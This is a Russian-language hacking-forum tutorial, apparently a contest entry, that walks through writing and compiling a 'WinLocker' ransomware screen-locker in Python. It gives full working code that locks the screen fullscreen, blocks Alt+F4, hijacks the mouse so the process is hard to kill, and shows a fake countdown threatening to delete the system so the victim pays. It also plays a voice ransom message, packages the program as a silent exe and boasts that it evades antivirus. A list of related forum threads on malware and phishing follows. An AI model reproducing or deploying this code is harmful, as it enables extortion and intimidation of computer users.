WinLocker на python. Пишем вирус.

Traven

Премиум
Копипаст

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "WinLocker"

Установка Python
Переходим на официальный сайт PythonА - ТЫК Скачиваем последнюю версию и устанавливаем ее.
Посмотреть вложение 7361Посмотреть вложение 7362Посмотреть вложение 7363

Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения


____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем


____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.



_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.

Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше


______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y


_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса - ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.

Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.



_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке - ТЫК
!!!ВАЖНО - пароль от локера
Для просмотра содержимого вам необходимо авторизоваться.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

Словарик
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
_______________


Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
 
  • Like
Реакции: JRD
Похожие темы
T Пишем WinLocker на Delphi Программирование 0
Admin UFOLABSNEWS Злоумышленники используют Telegram для атак на правительства Ближнего Востока. Новости в сети 0
Admin UFOLABSNEWS GitHub и PyPI внедрили защиту от атак на цепочку поставок. Новости в сети 0
devqp Статья Автоматический мониторинг трафика с реакцией на аномалии Полезные статьи 0
M Форум, на котором можно не только читать Свободное общение 0
devqp Статья Создание стелс-модуля на Rust: динамическая загрузка DLL и автозапуск Вирусология 0
Admin Интересно Хакеры похитили данные клиентов Upbound и оформили мошеннические договоры на 13 миллионов долларов. Новости в сети 0
Admin Интересно Количество новых вирусов увеличилось на 88% за год. Новости в сети 0
Admin Интересно Xiaomi представила робота XR-1, который превзошёл конкурентов благодаря обучению на 100 000 часов видео. Новости в сети 0
Admin Интересно 50 лет назад NASA, возможно, нашла жизнь на Марсе — и просто не поверила собственным приборам. Новости в сети 0
Admin Интересно Время на исправление уязвимостей сократилось с дней до часов. Новости в сети 0
Admin Интересно Ошибка в системе биллинга AWS вызвала панику из-за фальшивых счетов на миллиарды долларов. Новости в сети 0
Admin Интересно Восстание машин началось на ринге: как прошел первый турнир по боям без правил роботов-терминаторов T800. Новости в сети 0
devqp Статья Схема двойной прибыли на eBay через сервисы доставки из США Фишинг, мошенничество, СИ 0
Admin Интересно Хакеры используют ViPNet для атак на российские госучреждения. Новости в сети 0
Admin Интересно На GitHub обнаружено почти 300 поддельных репозиториев, распространяющих вредоносное ПО. Новости в сети 0
Admin Интересно Электроды теперь можно рисовать на коже и смывать водой. Новости в сети 0
Admin UFOLABSNEWS Новый сервис Forg365 использует фишинг для атак на Microsoft 365. Новости в сети 0
Admin UFOLABSNEWS Биологи сохранили жизнеспособность глаза вне тела на 10 часов после смерти. Новости в сети 0
Admin UFOLABSNEWS Компьютерная модель объяснила происхождение загадочных полос на склонах. Новости в сети 0
Admin UFOLABSNEWS Невесомость медленно меняет мозг космонавтов, что может осложнить миссии на Марс. Новости в сети 0
Admin UFOLABSNEWS Ученые создают пятый вид материи на МКС. Новости в сети 0
Admin UFOLABSNEWS 15-летний школьник отменил 46 тысяч подписок на стриминге с помощью ChatGPT. Новости в сети 0
Admin UFOLABSNEWS Apple подала в суд на OpenAI за кражу коммерческой тайны. Новости в сети 0
devqp Статья Руководства и технические отчеты по ChatGPT и GPT-4 на русском и английском Полезные статьи 0
devqp Статья Автоматизация настройки HTTP/SOCKS5 прокси-серверов на VPS: готовое решение Полезные статьи 0
Admin UFOLABSNEWS Лазерная атака позволяет сбросить пароли на криптокошельках Tangem. Новости в сети 0
Admin UFOLABSNEWS Обнаружено 222 вредоносных репозитория на GitHub. Новости в сети 0
devqp Статья Создание Bad USB на базе Digispark за $3 Уязвимости и взлом 0
Admin UFOLABSNEWS Глобальная атака нацелена на сайты WordPress и Joomla. Новости в сети 0
devqp Статья Геофильтрация трафика на сервере CentOS через xt_geoip и iptables Полезные статьи 0
Admin UFOLABSNEWS Иранские хакеры используют модульную платформу Cavern для атак на Израиль. Новости в сети 0
Admin UFOLABSNEWS Meta представила инструмент Muse Image для создания AI-контента на основе публичных фото из Instagram. Новости в сети 0
Admin UFOLABSNEWS Эффект саранчи. Ученые объяснили механику массовых фанатских ритуалов на ЧМ по футболу. Новости в сети 0
Admin UFOLABSNEWS Ученые испытали на МКС строительный материал из лунного цемента. Новости в сети 0
Admin UFOLABSNEWS Астероиды могли создать материки на Земле миллиарды лет назад. Новости в сети 0
Admin UFOLABSNEWS Армия США подверглась хакерской атаке с заменой страниц 404 на политические лозунги. Новости в сети 0
Admin UFOLABSNEWS Создатели шпионского ПО Predator столкнулись с коллективным иском на 7,6 млн евро. Новости в сети 0
Admin UFOLABSNEWS 35 ГБ конфиденциальных данных Accenture появились на хакерском форуме. Новости в сети 0
Admin UFOLABSNEWS YouTube сохраняет лидерство в России несмотря на ограничения. Новости в сети 0
Admin UFOLABSNEWS Valve выпустила обновление Proton, которое расширяет совместимость игр для Windows на Linux. Новости в сети 0
Admin UFOLABSNEWS Китай рассматривает ограничения на экспорт передовых моделей искусственного интеллекта. Новости в сети 0
Admin UFOLABSNEWS Linux в 366 байтах. Конкурс обфусцированного C показал, на что способна простота. Новости в сети 0
Admin UFOLABSNEWS Платформа виртуализации zVirt 5.0 прошла тестирование на безопасность без обнаружения уязвимостей. Новости в сети 0
Admin UFOLABSNEWS Китайские фальшивые аккаунты в Threads нацелены на тайваньских пользователей. Новости в сети 0
Admin UFOLABSNEWS Иранские хакеры используют новый фреймворк Cavern для атак на израильские организации. Новости в сети 0
Admin UFOLABSNEWS DDoS-атаки на российские компании превысили 2 Тбит/с. Новости в сети 0
Admin UFOLABSNEWS Минэнерго предупреждает о рисках сервисов с отметками о топливе на картах. Новости в сети 0
Admin UFOLABSNEWS Комментарии на YouTube могут обмануть ИИ-ассистента и заставить его раскрыть названия приватных видео. Новости в сети 0
Admin UFOLABSNEWS Android ужесточает защиту экрана блокировки с новыми ограничениями на ввод PIN-кода. Новости в сети 0

Название темы